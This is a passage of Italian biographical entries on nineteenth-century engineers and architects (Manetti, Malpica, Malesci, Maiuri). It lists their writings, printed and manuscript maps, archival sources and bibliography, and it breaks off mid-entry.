Arno, rilevato colla direzione di Alessandro Manetti... dall’ing. Francesco Renard..., edito a Firenze nello Stabilimento Bellamy, 1848 (AAADF, Fondo Manetti), che intende dimostrare la giustezza della tesi del Manetti per cui i lavori di bonifica in Valdichiana non erano responsabili dei diffusi allagamenti prodotti dall’Arno nell’occasione dell’inondazione del 1844: infatti, a differenza dei fondivalle del Mugello e del Casentino, completamente invasi dalle acque, la Valdichiana mostra limitatissime esondazioni nei Prati sotto la collina di Brolio e, di fronte, tra la Fattoria di Foiano e quella di Pozzo; la Carta della Valle di Chiana nell’anno 1849. Tav. I, che registra sia lo stato di fatto e sia il programma dei lavori da realizzare mediante tracciati a puntini, rappresentando per la prima volta un progetto complessivo per la stabile sistemazione delle acque della valle, e la Tav. II, ovvero un disegno tematico che rappresenta le quattro ipotesi di bonifica esaminate nella memoria, cioè quelli del Torricelli degli anni ’40 del XVII secolo, del Fossombroni del 1789, del Manetti del 1838 e infine del Paleocapa del 1845 (che intendeva limitare l’aggiunta della bietta di terra fossombroniana alla parte centrale della valle), in Sulla sistemazione delle acque della Valdichiana e sul bonificamento delle Maremme (Firenze, Benelli, 1849) (Di Pietro, 2005, pp. 150-152, 162, 167 e 168-169).

Produzione scientifica:
Carte idrauliche dello stato antico e moderno della Valle di Chiana e livellazione generale dei canali maestri della medesima con un saggio sulla storia del suo bonificamento e sul metodo con cui si eseguiscono le colmate, Firenze, Molini, 1823;
Lettera a S. E. il Sig. Cav. Vittorio Fossombroni sopra alcuni ripari d’un genere non molto usitato in Toscana (1824), che si eseguiscono per ottenere la regolare inalveazione dell’Arno nella pianura aretina, in Raccolta d’autori italiani che trattano del moto dell’acque, Bologna, Marsigli, 1824, III, pp. 323-330;
Descrizione delle macchine pei trafori modenesi o artesiani e dei pozzi forati in Toscana dal 1829 al 1833, Firenze, Tip. all’Insegna di Dante, 1833;
Sulla stabile sistemazione delle acque di Valdichiana. Memoria, Firenze, Bencini, 1840;
Delle opere eseguite per l’ampliamento della città e porto franco di Livorno dall’anno 1835 all’anno 1842, Firenze, Le Monnier, 1844;
Alcune parole sulla istituzione del Corpo degli Ingegneri di acque e Strade specialmente per ciò che concerne il servizio delle Comunità, Firenze, Benelli, 1848;
Memoria sulla sistemazione della Valdichiana e sul bonificamento delle Maremme, Firenze, Cecchi, 1849;
Esame della parte idraulica del Rapporto presentato il 6 dicembre 1859 dall’Ispettore A. Salvagnoli Marchetti, Firenze, Bencini, 1860;
Mio passatempo, a cura di Francolini Felice, Firenze, Carnesecchi, 1885.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Pianta della città di Tolone, 1814 (AAADF, Fondo Manetti, Cat. B, tav. 28v);
Planimetria in due tavole del monastero di S. Benedetto in Arezzo, con Angelo Lorenzo de' Giudici, prima metà del XIX secolo (ASF, Miscellanea di Piante, nn. 22-23);
Piante e sezioni della Strada Militare da Viareggio alla Spezia, con l'ingegnere estense Giuseppe Manzotti, 1828 (ASP, Camera di Soprintendenza Comunitativa, ff. 320 e 559);
Pianta topografica con alcuni edifici siderurgici della Magona granducale, 1828-29 (ASF, Miscellanea di Piante, n. 278g);
Follonica con il suo “piano di fabbricazione”, 1830-31 (ASF, Segreteria di Gabinetto Appendice, f. 204);
Padule di Castiglione e sue adiacenze nel 1853; Padule di Castiglione e sue adiacenze nel 1859, 1:60.000 (AAADF, Fondo Manetti, n. 11.1-2); N. 5 piante del Padule di Castiglione e sue adiacenze con l’indicazione delle cinque fasi di bonifica previste a partire dal 1845-46; Padule di Castiglione della Pescaia, litografia del 1849 (AAADF, Fondo Manetti, Cat. C.10, tav. 11.5);
Mappa della pianura di Scarlino, 1:45.000 e Mappa topografica della pianura di Scarlino colla indicazione dei circondari d’imposizione dei fiumi e fossi che la bagnano, 1830-40 (AAADF, Fondo Manetti, Cat. C.10, tavv. 3/a-b);
Mappa dell’antico stagno di Piombino ed adiacenze, 1:25.000(AAADF, Fondo Manetti, Cat. C.10, tav. 4/a);
Mappa topografica della pianura di Cornia che comprende i circondari d’imposizione dei fiumi e fossi che irrigano la pianura medesima, 1830-40, scala 1:15.000 (AAADF, Fondo Manetti, Cat. C.10, tav. 4/c);
Pianta dei tenumenti del Rimigliano e del Bracciolo ceduti dall’Uffizio di Bonificamento a quello delle Regie Possessioni, 1853 (AAADF, Fondo Manetti, Cat. C.10, tav. 4/b);
Progetto per una conduttura di acque potabili dall’Argentale alla Città di Orbetello, con 11 tavole del progettato acquedotto che dal convento dei Passionisti dell’Argentario scendeva a Terrarossa e attraversava la laguna su ponte canale con strada: tra le figure, Pianta del Monte Argentale. Lucidata dalle mappe del catasto in scala 1:50.000 e la Pianta di Orbetello con le condotte e le fontane del nuovo acquedotto fino a Piazza d’Arme, 1840 circa (AAADF, Fondo Manetti, Cat. F.18) (Bencivenni, 1984, fig. 79 e pp. 107-108);
Progetto della cinta daziaria di Livorno, con la collaborazione dell’ingegnere Carlo Reishammer, 1834-35 (AAADF, Fondo Manetti, Cat. F.2, ins. 3);
Pianta del Porto di Livorno quale risulterebbe secondo il Progetto Manetti del 22 Agosto 1850 (AAADF, Fondo Manetti, Cat. F.1, ins. 26) (Bencivenni, 1984, pp. 94-99);
Piante e prospetti (36 tavole) con relazione del 1835-1842, edite in Delle opere eseguite per l'ingrandimento della città e porto franco di Livorno..., Firenze, Le Monnier, 1844, con Francesco Renard e gli incisori Carlo Chirici e Luigi Balatri (ASP, Piante dell'Ufficio Fiumi e Fossi, n. 223);
Carte de la vallée de la Chiana située entre l’Arno et le Tibre, disegno di Jacopo Frilli e Alessandro Manetti, stampa a Firenze di Leonardo Ciardetti, 1819;
Livellazioni del Canale Maestro della Chiana fatte dagli Ingegneri Salvetti e Manetti la 1° nell'anno 1769 la 2° nell'anno 1820 e Mappa idraulica della Pianura di Val di Chiana esprimente i lavori di bonificazione che sono in attività nell'anno 1822, in Operazioni idrauliche eseguite in Val di Chiana dall'Ingegnere Alessandro Manetti a tutto l'anno 1821 (ASF, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, c. 1806), in 5 volumi rilegati;
Tavole Stato antico della Valle di Chiana al tempo di Cosimo I de’ Medici duca di Firenze. Quale si rileva dalla pergamena originale annessa alla perizia del 1551 che fu diretta da Messer Antonio de’ Ricasoli allora Soprintendente Generale alla Bonificazione delle Chiane; Mappa idraulica della pianura della Val di Chiana esprimente i lavori di bonificazione che sono in attività nell’anno 1823 (in un riquadro, la Carta che dimostra il corso della Chiana fra il Tevere e l'Arno); e Livellazione generale delle Chiane eseguita per la prima volta negli anni 1820 e 1821, in opera a stampa Carte idrauliche dello stato antico e moderno della Valle di Chiana e livellazione generale dei canali maestri della medesima con un saggio sulla storia del suo bonificamento e sul metodo con cui vi si eseguiscono le colmate (Firenze, Molini, 1823; e ASF, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, c. 1806);
Carta che dimostra il corso della Chiana fra il Tevere e l'Arno, Profilo del Canal Maestro della Chiana dalla Chiusa dei Monaci al Callone di Valiano rilevata dall’Ingegner Salvetti nel 1769 e copiata dalle tavole a corredo delle Memorie idraulico-storiche pubblicate nel 1789, Sezioni trasversali dei fiumi Salarco, Foenna, ed Esse, in opera a stampa Sulla stabile sistemazione delle acque di Val di Chiana (Firenze, Bencini, 1840);
Due Tavole Grafici delle livellazioni della Chiana previste dal Torricelli sec. XVII, Fossombroni sec. XVIII, Progetto del 1838, Progetto del Paleocapa 1845; Carta della Valle di Chiana nell’anno 1849, in Sulla sistemazione delle acque della Valdichiana e sul bonificamento delle Maremme (Firenze, Benelli, 1849);
Quattro tavole del Profilo di livellazione della Chiana e dell’Arno dall’argine di separazione presso Chiusi sino al mare e della Sieve da San Piero a Sieve sino al suo sbocco in Arno, rilevato colla direzione di Alessandro Manetti... dall’ing. Francesco Renard..., edito a Firenze nello Stabilimento Bellamy, 1848, con Corso dell’Arno e dei suoi influenti, 1848 (AAADF, Fondo Manetti) (Di Pietro, 2005, p. 167);
Pianta generale della pianura pisana [tra l’Arno e Livorno]. Divisa in 27 rettangoli in scala 1:17241, 1840 (AAADF, Fondo Manetti, Cat. E.5);
Progetto Manetti del 1842. Andamento del nuovo Emissario del Canale Imperiale presso Vicopisano fino al Calambrone, profilo in cinque fogli (AAADF, Fondo Manetti, Cat. E.9);
Alzato, pianta e veduta a volo di uccello di un ponte “da costruire sull’Arno sotto corrente alla botte in cui passerà il canale essiccatore del Lago di Bientina, per servire ad una nuova via che ponga in diretta comunicazione Le Fornacette con Vicopisano, il Bientinese e Lucca” (AAADF, Fondo Manetti, Cat. E.14);
Varianti al Progetto del 1842 per la Fabbrica delle Cateratte e Botte, 1853 (AAADF, Fondo Manetti, Cat. E.10);
Pianta del corso dell’Arno presso San Giovanni alla Vena con l’attraversamento del nuovo emissario di Bientina (AAADF, Fondo Manetti, Cat. E.3, n. 4);
Pianta geometrica indicante l’andamento e la situazione dei Fossi e Strade presso le Fornacette in scala 1:2500 (AAADF, Fondo Manetti, Cat. E.12, ins. 13);
Mappa generale dei Paduli di Bientina, Fucecchio e Maciuccoli in scala 1:40.000, con profili e sezioni e Relazione sul prosciugamento del Lago di Bientina, 1864 (AAADF, Fondo Manetti, Cat. E.1, n. 1) (Bencivenni, 1984, pp. 80-81, 84, 88);
Pianta Rettificazione dell’Arno, situazione della Botte, dei Magazzini e del canale Essiccatore di Bientina, anni ’50 del XIX secolo (AAADF, Fondo Manetti, cat. E.6, tav. 12);
Carta topografica del territorio lucchese tra il Serchio e il Lago di Bientina, con localizzazione dei “bottacci lucchesi”, 1849 (AAADF, Fondo Manetti, Cat. F.2, ins. 8);
Pianta della Toscana settentrionale – con utilizzazione della base a stampa di Giovanni Inghirami del 1831 – con disegno dei territori inondati dall’Arno nel 1844 e con elenco delle pescaie sul fiume esistenti nel Compartimento di Firenze, a partire da quella di Monte sotto Ponte a Buriano (AAADF, Fondo Manetti, Cat. F.2, ins. 7);
Carta della Garfagnana in otto fogli e quadro d’unione, con il tracciato “per la comunicazione rotabile tra Camporgiano e il Fivizzanese” (AAADF, Fondo Manetti, Cat. F.17) (Bencivenni, 1984, p. 101);
Strada ferrata dell’Italia Centrale. Sezione II. Tronco Toscano: 1853 – Profilo longitudinale dell’Appennino dal Fosso Faldo al Fossaccio per dimostrare l’andamento della linea ferrata, l’avanzamento dell’escavazione dei pozzi e gallerie e le qualità dei terreni componenti la Montagna in traforo (AAADF, Fondo Manetti, Cat. F.4);
Pianta del Lago di Haarlem in Olanda in scala 1:60.000, autunno 1844 (AAADF, Fondo Manetti, cat. F.1, tav. 10).

Fonti d’archivio:

Bibliografia:
Meini, 1867; Tartini, 1838; Bencivenni, 1984; Bencivenni, 1990; Pertempi, a cura di, 1990, pp. 47-52; Giuntini, 1989; Rombai, Toccafondi e Vivoli, 1987, pp. 68-69, 208; Barsanti, 1987, p. 87; Barsanti, 1992, p. 70; Barsanti, 1994, pp. 237-256; Cresti e Zangheri, 1978, pp. 134-135; Caciagli, 1984, pp. 85-101; Caciagli e Castiglia, 2001, pp. 444 e 518-520; Di Pietro, 2005; Zangheri, 1984; Pesendorfer, a cura di, 1987, pp. 58, 94, 99, 105, 110, 112, 115-121, 134-140, 150, 176, 182, 189, 192-195, 197, 201, 207-213, 215, 241, 246, 249, 257, 261, 267, 269-172, 274, 276, 286, 297, 307, 344, 368, 391, 396, 400, 427-432, 435, 472, 494-500 e 510; ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade; ASF, Piante della Direzione Generale dell’Ufficio delle Acque e Strade; ASF, Ufficio di Bonificamento delle Maremma; ASF, Segreteria di Gabinetto Appendice; ASF, Miscellanea di Piante; AAADF, Fondo Manetti; ASGr, Ufficio del Bonificamento della Maremma; ASP, Camera di Soprintendenza Comunitativa; ASP, Piante dell'Ufficio Fiumi e Fossi.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Malpica, Francesco Saverio

Francesco Saverio Malpica
N.
M.

Relazioni di parentela: Fratello di Cesare Malpica, noto e discusso letterato romantico e liberale, la cui figura è ricostruita in GENOINO, 1957 (cfr. anche CIONE, 1977, passim; AVERSANO, 2001, p. 75) e che fu un po’ bistrattato dal De Sanctis (che gli diede del «letterato solo intenzionale»), un po’ meglio giudicato dal Croce, che lo definì «il più sbrigliato dei romantici napoletani del suo tempo», lodato infine da P.C. Ulloa, che gli riconobbe «occhio da pittore»: evidente dote di famiglia, che condivide col fratello Francesco Saverio, così come gli si accomuna nello stilare resoconti di viaggio: Cesare in Puglia e altrove (GENOINO, 1957, p. 173), il nostro da Napoli a Pisa a Roma a Firenze, descrizioni odeporiche all’interno di un buon testo di storia dell’ arte (MALPICA, 1847).

Ente/istituzione di appartenenza:
Qualifica: Architetto

Biografia:

Produzione scientifica:
Alle indiscusse doti personali e professionali di tecnico, F.S. Malpica aggiunge soprattutto quelle di un intellettuale a tutto campo, che ha scritto tanti saggi sulle più svariate materie (la teorica dei prezzi applicati agli usi pratici; sui monumenti di Napoli e sul Duomo di Salerno; un manuale di storia dell’arte, che afferma di avere in corso di compilazione – MALPICA 1872a – e di cui non sono in grado per ora di confermare l’esistenza o l’eventuale messa in stampa). Il profilo emergente da tutte le opere (cartografiche e non) che mi è riuscito di rinvenire, è quella di un gentiluomo d’altri tempi, forse anche un po’ bacchettone e perbenista, ma conscio della intrinseca moralità dell’arte e della necessità che l’artista «eserciti un magistrato liberissimo, indipendente da qualsiasi condannevole influenza» (MALPICA, 1872a, p. 9), per realizzare il fine dell’arte, che è il «toccare il cuore e nutrir la mente». Dotato di una psicologia un po’ leopardiana per certo suo pessimismo e, per la tenerezza umbratile, un po’ leonardesca, testimonia espressamente, proprio nel suo personale desiderio di ammirare e fare cose artistiche, la vita dura cui è condannato l’architetto (MALPICA, 1872a, p. 8).
La sa lunga in materia di estetica: ad esempio, scrive pagine avvertite sul concetto di imitazione della natura, ben concedendo all’artista la capacità e necessità di ricrearla, per realizzare, in una nuova composizione, il bello ideale, che non esiste in natura (MALPICA, 1872a, p. 6). Romantico dunque, come suo fratello Cesare, ma legato an¬che al classicismo, nel convincimento che l’arte incarni un’idea. Discetta sugli aspetti tecnico-culturali e sociali delle arti figurative e, sul piano criti¬co, sostiene che l’arte non si possa comprendere se non la si aggancia alla storia, se non la si contestualizza alla società: in Italia si è dovuto attendere il secondo dopoguerra perché la critica si ispirasse ai dettami della storia so¬ciale dell’arte... Dimostra un certo equilibrio critico laddove sostiene la po¬polarità (ma relativa) dell’arte: essa deve essere «intesa bene dal dotto e dall’ignorante» e curare «un linguaggio né troppo rigoroso né trascurato del tutto» (MALPICA, 1847, p. 6). E così prosegue: «Nella invenzione – ecco precetto conosciuto da tutti gli artisti – è indispensabile siavi varietà, concatenazione e semplicità – […] Perché l’artista deve allettare; deve presentare un tutto conforme alle leggi naturali ed al carattere della verità» (MALPICA, 1872a, p. 14). In definitiva, l’artista ideale, incarnato in Raffaello (Ivi, p. 16), deve essere – nel parere malpichiano – classico e realista insieme, senza però eccedere nello psicologismo dei volti e nelle allegorie troppo astruse (Ivi, p. 20).
Ha un alto concetto dell’architettura, che non considera un mestiere, ma un ideale, un insieme che abbraccia, come nella pittura, l’invenzione, l’ordine, la espressione (MALPICA, 1847, p. 4). Quello che lo rende più gradevole e consentaneo è la espressa stanchezza della frigi¬dità positivistica e il ripudio della eccessiva attenzione portata, nel suo seco¬lo, alle opere pubbliche, al commercio, a vie ferrate, piroscafi, banche, mac¬chine, agronomia, asili infantili, monti frumentari e a «quant’altro l’indu¬stria, le scienze e la pietà degli uomini han saputo inventare di ingegnoso, di proficuo, di commedevole, di utile» (MALPICA, 1847, p. 3): un ripudio che fa in nome delle utilissime belle arti, delle impressioni, del gusto, di cui è ricca, con primato, l’Italia.
Insomma, sotto il tecnico si nasconde un uomo e un artista ricco di gusto, di sensibilità post-vichiane e quasi anticipatrici degli spiriti neo-idealistici: una figura poliedrica, collocata esattamente sul versante opposto di un altro grande architetto salernitano (Giovanni Rosalba), un intellettuale che credevamo irrecuperabile dopo l’esperienza illuministica settecentesca.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
- Pianta geometrica dimostrante le opere tutte eseguite dalle Parti nella montagna e Valle Trapulogo (8 ottobre 1838).
ASS, Tribunale Civile di Salerno, Perizie, vol. 905, c. 1455.

- Pianta della Valle Trapulogo Profilo della Stessa Pianta e Spaccato del Serbatoio del Comune (8 ottobre 1838),
ASS, Tribunale Civile di Salerno, Perizie, vol. 905, c. 1456.

- Pianta di una porzione della città di Salerno racchiusa tra le strade Due Principati, Arcivescovado, Corso Garibaldi e Porta Nova, Salerno 1862.
ASS, Fondo Prefettura, IIa serie.

- Pianta geometrica topografica di un territorio con fabbricato in Montoro, 1827. F.to: F. S. Malpica e Luigi Sorgente.
ASS, Tribunale Civile di Salerno, Fondo Perizie, Vol. 898, c. 246.

- Pianta di due piazzette in Amalfi e opere ivi costruite. Salerno, 16 agosto 1846. F.to: Francesco Saverio Malpica.
ASS, Tribunale Civile di Salerno, Fondo Perizie, b. 913, c. 1161.

- Pianta geometrica delle Ische Giuliani, 1854. F.to: Francesco Saverio Malpica.
ASS, Tribunale Civile di Salerno, Fondo Perizie, Vol. 921.

- Pianta del fondo Licine espropriato a danno di Matteo Cavallaio, Salerno 12 agosto 1854. F.to: Francesco Saverio Malpica.
ASS, Tribunale Civile, Fondo Perizie, b. 921.


Fonti d’archivio:
Giuramento di fedeltà e ubbidienza dell’architetto Malpica al re Ferdinando II:
L’anno milleottocentoquaranta il giorno diciotto Dicembre in Napoli.
Innanzi a Noi Cavaliere Ferdinando Troja Vice Presidente della Corte Suprema di Giustizia, Presidente della G. Corte civile in Napoli, assistito da D. Luigi Lupani impiegato della Commessione per l’albo degli architetti giudiziarj e dal Cancelliere, si è presentato D. Francesco Saverio Malpica, onde a termini delle superiori disposizioni, prestare nelle nostre mani il giura¬mento, nella qualità di architetto del sud. albo.
Dopo di che abbiamo ammesso il sud. D. Franc.° Saverio Malpica a prestare il giuramento, siccome lo ha dato ad alta voce, e sopra i Santi Van¬geli ne’ seguenti termini:
Io Francesco Saverio Malpica prometto e giuro fedeltà ed ubbidienza al Re Ferdinando II°; e pronta ed esatta esecuzione degli ordini.
Prometto e giuro che nell’esercizio delle funzioni che mi sono state affidate, io mi adopererò col maggiore zelo, colla maggiore probità ed onoratezza.
Prometto e giuro di osservare e di fare osservare le leggi i decreti ed i regolamenti, che per Sovrana disposizione di S. M. si trovano in osservanza, e quelli che piacerà alla M. S. di pubblicare in avvenire.
Prometto e giuro di non appartenere a nessuna Società Segreta di qual-sivoglia titolo, oggetto e denominazione, e che non sarò per appartenere giammai.
Così Dio mi ajuti.
In fede di che se n’è redatto il presente processo verbale, che è slalo sottoscritto dal nominato D. Francesco Saverio Malpica, da noi, dal sud.lo impiegato della Commissione e dal Cancelliere.
Francesco Saverio Malpica / F. Troja V.ce / Luigi Lupani / altra firma illeggibile
N.° 618 / Registrato in Napoli li quindici Gennajo 1841 fol. 33

[seguono bollo e altre indicazioni, mal leggibili salvo i numeri arabi, su dirit¬ti di registrazione pagati: n.d.r.].
ASN, Ministero di Grazia e Giustizia, fasc. 1584, inc. 781

Bibliografia:

Rimandi ad altre schede: Vedi Giovanni Rosalba, per un’antitetica concezione della figura e della funzione dell’architetto.

Autore della scheda: Anonimo

Malesci, Luigi

Luigi Malesci
N. Portici 1788
M. 1753

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto Comunale

Biografia:

Produzione scientifica:
Insieme ad altri illustri componenti del Corpo di Ponti e Strade – da de Fazio a Grasso a de Rivera – è sostenitore del «panoptismo», adottato in epoca preunitaria dai più validi ingegneri del Regno di Napoli, quale sistema adeguato al fine di soddisfare le nuove condizioni richieste nella progettazione degli impianti per la sicurezza pubblica. Il suo primo esplicito riferimento al dispositivo compare nella proposta di «un nuovo sistema generale di lazzaretti», presentata nel 1808 al Consiglio dei Lavori Pubblici dal Nostro e da Giulio De Fazio. «Ma solo nel 1821 i due ispettori, membri con Grasso e con Giuseppe Giordano di una commissione incaricata di esaminare il progetto per il carcere di Avellino redatto dall’ingegnere provinciale Luigi Oberty [...], furono in grado di enunciare i principî che imponevano l’uso dell’impianto panottico anche nell’ambito carcerario; essi colsero peraltro l’occasione per proporre al direttore generale Piscicelli uno schema ideale adottabile per qualsiasi prigione». In qualità di «architetto dei Dazi Indiretti» (insieme a Stefano Gasse) e quale rappresentante del Decurionato, su richiesta del marchese de Turris, direttore generale dei Dazi Indiretti, Malesci entra successivamente a far parte, nel 1824, di una commissione avente il compito di progettare un recinto per il controllo doganale, detto «muro di finanze», avente lo scopo di modificare il «sistema fino ad allora seguito nella riscossione dei dazi sui generi di consumo, ancora privo del necessario rigore e perciò soggetto a variazioni notevoli a seconda delle zone e dei generi. L’antica suddivisione dell’area della capitale in ambito cittadino vero e proprio, zona di distretto e casali suburbani dava adito a differenti interpretazioni nella percezione delle imposte, segnatamente nella fascia a cavallo tra città e periferia, con conseguenti liti che andavano a terminare quasi sempre a danno della pubblica amministrazione […]», (BUCCARO, 1992, pp. 207-208). Dopo la morte di Francesco Maresca, Malesci, insieme a Ciro Cuciniello, riceve l’incarico «di riprendere ed integrare il programma relativo al camposanto di Poggioreale: nella prima idea di progetto da essi elaborata era già previsto un nuovo complesso da costruirsi alle spalle della chiesa; di fatto però si portò innanzi la sola fabbrica del tempio […]. Nel 1834, […], Malesci e Cuciniello presentarono al sovrano [Ferdinando II] il progetto dettagliato per il prosieguo dell’opera, in forma di modello ligneo e secondo “una architettura di gusto severo e sublime” come dagli ordini ricevuti; Ferdinando apportò alcune modifiche riguardo alla chiesa e al chiostro grande, ed approvò entro il 1835. […]. Per oltre un decennio la direzione delle fabbriche restò affidata a Malesci e a Cuciniello […]» (BUCCARO, 1992, p. 112 e pp. 154-158). Malesci è autore di piante che rappresentano 12 quartieri della città di Napoli, conservate Presso l’Archivio Storico Municipale di Napoli e apparse nel 1813. L’importanza di ciascuna di queste piante è dovuta alla precisione del rilievo e al rapporto di scala, che ha permesso addirittura di riportare la toponomastica e la numerazione civica (DELLA MONICA, pp. 147 -153).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
- Pianta dello stato presente dei due bracci componenti l’intero edificio denominato della Conservazione dei Grani quanto dello stato approssimante, in cui si può supporre ridotto giusta le istruzioni a me date da S.E. il Signor Intendente di questa provincia per l’adempimento della determinazione di S.M. comunicatagli da S.E. il Ministro degli Affari Interni in data 10 dicembre 1825
ASN, Fondo Cartografico, Planimetria, Miscellanea n. 6, Cartella V. N. B. Vi sono due piante: una solo con lettere, l’altra con numeri e lettere più dettagliate. È presente anche l’indice con spiegazioni.
- Pianta della città di Napoli [G. De Fazio-L. Malesci, 1805], (ALISIO- VALERIO, pp. 170-171), citata da Buccaro (p. 27, nota 23).
- Progetto di sistemazione e rettifica del viale d’ingresso al Camposanto Nuovo (1840 ca.). (sic per i due punti) F.to: L. Malesci. Napoli, Archivio Storico Municipale (BUCCARO, 1992, p. 170, fig. 155).
- Progetto di raccordo dell’ingresso settentrionale del Camposanto Nuovo con la strada di S. Maria del Pianto (1842). F.to: C. Cuciniello, L. Malesci. Napoli, Archivio Storico Municipale (BUCCARO, 1992, p. 170, fig. 157).
- Pianta del contorno della città di Napoli. Prima metà del secolo XIX, F.to Malesci, Collezione di stampe e disegni della Biblioteca della Società Napoletana di Storia Patria-Napoli, in: DE SETA C., Cartografia della Città di Napoli. Lineamenti dell’evoluzione urbana, Vol. I, ESI, Napoli, MCMLXIX, p. 282.

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Giuliano de Fazio e Bartolomeo Grasso

Autore della scheda: Vincenzo Aversano

Maiuri, Antonio

Antonio Maiuri
N. Napoli 27 aprile 1805
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
Dotato di notevoli capacità intellettuali e tecniche, il Maiuri si forma in un periodo di mutamento epocale, allorché, grazie alla lezione impartita dai francesi, anche nel Regno di Napoli la figura professionale dell’ingegnere conquista finalmente la giusta dignità e considerazione, in ambito governativo e sociale. L’importante istituzione murattiana del Corpo degli ingegneri di Ponti e Strade (divenuto in età borbonica Direzione Generale di Ponti e Strade, Acque, Foreste e Caccia) e della relativa Scuola di Applicazione manifesta la volontà del governo centrale di controllare direttamente la «gestione di importanti settori per il paese, quali le opere pubbliche, il sistema forestale, il regime delle acque, le bonifiche» (FOSCARI, 2006, p. 927), attraverso la rigorosa formazione teorica e “sul campo” di qualificati professionisti del settore, sottraendo agli egoismi rapaci e distruttivi dei baroni meridionali il controllo secolare di estesi quanto degradati e abbandonati territori del regno.
Il Maiuri diventa uno dei maggiori protagonisti di questo mutamento. All’età di 21 anni è ammesso alla Scuola di Applicazione, «superando l’esame di ammissione, tenutosi il 30 gennaio del 1826». L’esame di ammissione non è dei più semplici, richiedendo una cultura di base molto ampia e notevoli capacità manuali: i candidati devono infatti possedere «piena conoscenza del corso delle matematiche pure e del calcolo differenziale ed integrale», devono essere «ben addestrati negli elementi del disegno di figura», devono saper «scrivere in italiano corretto e tradurre il latino e il francese. [Il] Maiuri si classificò al sesto posto, riportando 40 gradi (punti)» per essere poi «licenziato dalla Scuola nel 1830, classificandosi al terzo posto per merito, mentre l’anno seguente, come previsto per i più bravi e meritevoli, ottiene l’inquadramento nel Corpo di Ponti e Strade, con il grado di ingegnere alunno» (FOSCARI, 2006, pp. 930-931). La qualifica non rispondeva a un’esigenza formale, ma «doveva in qualche modo rendere ben riconoscibile la provenienza del tecnico e creare quel rapporto molto stretto tra formazione scolastica e professione, su cui a Napoli, al momento di istituire la Scuola e il Corpo, si era puntato con ragionevole determinazione» (FOSCARI, 2006, p. 931).
Nel caso del Maiuri, i risultati sono a dir poco eccellenti. «Già nel 1834, il suo superiore gerarchico e massimo referente tecnico-culturale, nella consueta lista degli ingegneri compilata per dare conto al governo delle capacità di ciascun tecnico e delle possibilità o meno di carriera all’interno del Corpo di ingegneri, annotò, accanto al nome di Antonio Maiuri, “da nominarsi ingegnere aggiunto”, riconoscimento che [il] de Rivera aveva previsto anche per Ignazio Milone, Luigi Martini, Ferdinando Rocco, Emidio Giuliani, Alessandro Giordano, Vincenzo Sassone, Giuseppe Palmieri, Errico Salvatores, Giuseppe Todari, Ercole Lauria […]» (FOSCARI, 2006, pp. 931-932). Nel frattempo, il Nostro viene “dirottato” dalla sezione provinciale al ramo regio: «si trattava di un provvedimento voluto direttamente dal direttore generale di Ponti e Strade, lesto a cogliere le capacità degli ingegneri più preparati e validi e a volerli al suo fianco come più diretti e stretti collaboratori» (FOSCARI, 2006, p. 932). Nel 1838 arriva effettivamente la nomina ad ingegnere aggiunto, seguita, nel 1841, dall’avanzamento ulteriore al grado di ingegnere di II classe – che assicura al Nostro «un posto anche all’interno del Consiglio di Ingegneri di Acque e Strade, prestigioso luogo di dibattito tecnico e di crescita professionale» (FOSCARI, 2006, p. 932) – fino al raggiungimento, nel 1852, della prestigiosa qualifica di Ingegnere di I classe, come lo scomparso Afan de Rivera, estimatore e sostenitore del Maiuri, desiderava.

Produzione scientifica:
Tra gli ingegneri meridionali operanti tra la prima e la seconda metà dell’Ottocento, il Maiuri, «tecnico illustre e funzionario valoroso» (FOSCARI, 2006, p. 933), occupa un posto di rilievo, sia per le sue estese competenze ingegneristiche, sia per l’impegno con cui, in sintonia con C. Afan de Rivera, prende parte al processo di riforma dell’«intero sistema tecnico meridionale» (FOSCARI, 2006, p. 930). Non a caso: il Nostro appartiene infatti alla seconda generazione di professionisti formatisi nell’ambito del Corpo degli ingegneri di Ponti e Strade, successiva a quella dei primi ingegneri in capo (coinvolti principalmente nel dibattito formale e stilistico sulle modalità di progettazione degli edifici pubblici) e fortemente impegnata sotto il profilo tecnico-scientifico nella verifica e nell’approfondimento delle ricerche condotte dai predecessori (BUCCARO, 1992, p. 8). D’altra parte proprio di tali competenze necessita il restaurato governo borbonico, che punta all’attuazione di piani di intervento estesi, coerenti e coordinati, secondo una tendenza condivisa anche dalle altre corti europee nel corso del XIX secolo. Le doti richieste agli ingegneri sono dunque molteplici e, innanzitutto, di carattere organizzativo.
Nel 1831, un anno dopo la fine dei suoi studi presso la Scuola di Applicazione, l’ingegnere Maiuri è già impegnato nella collaborazione al progetto per la costruzione in Brindisi del polo sanitario per l’Adriatico e il Levante (BUCCARO, 1992, p. 135) mentre, l’anno successivo, nell’ambito del piano di potenziamento commerciale e sanitario del porto di Pozzuoli, lo troviamo al lavoro con l’ingegnere G. de Fazio nella stesura di uno «studio dei “Principii generali su’ quali è fondata la buona architettura dei lazzaretti”», nel quale si sostiene «l’utilità del lazzaretto all’interno di un sistema commerciale organizzato» (BUCCARO, 1992, p. 126). La tesi è osteggiata da una relazione presentata al re Ferdinando II dagli ingegneri conservatori del regno che, nell’ambito del dibattito sulla natura epidemica o endemica del colera (epidemia da cui l’Europa è ripetutamente investita nel corso del XIX secolo) e sull’opportunità di costruire o meno dei lazzaretti come rimedio al contagio, avvalorano la seconda ipotesi. Di fatto, nonostante ciò, i lavori per la costruzione del lazzaretto hanno luogo. Infatti, nel 1836, in qualità di ingegnere aggiunto, il Maiuri prende parte ai lavori per il potenziamento del polo portuale e sanitario dell’isola di Nisida, sulla base dell’originario progetto dello scomparso G. de Fazio, sotto la direzione dell’ingegnere Luigi Giura, assistito dagli ingegneri Ercole Lauria e Alessandro Giordano. Nello stesso anno, allorché inizia ad essere apprezzato per la preparazione e la dedizione al lavoro, il Nostro pubblica il volume “Delle opere pubbliche nel regno di Napoli …” «che, in qualche modo, sintetizzava le conoscenze dirette che aveva avuto modo di fare sui cantieri a stretto contatto con i suoi superiori gerarchici, con appaltatori, istituzioni locali e imprenditori. L’opera si colloca nel solco delle 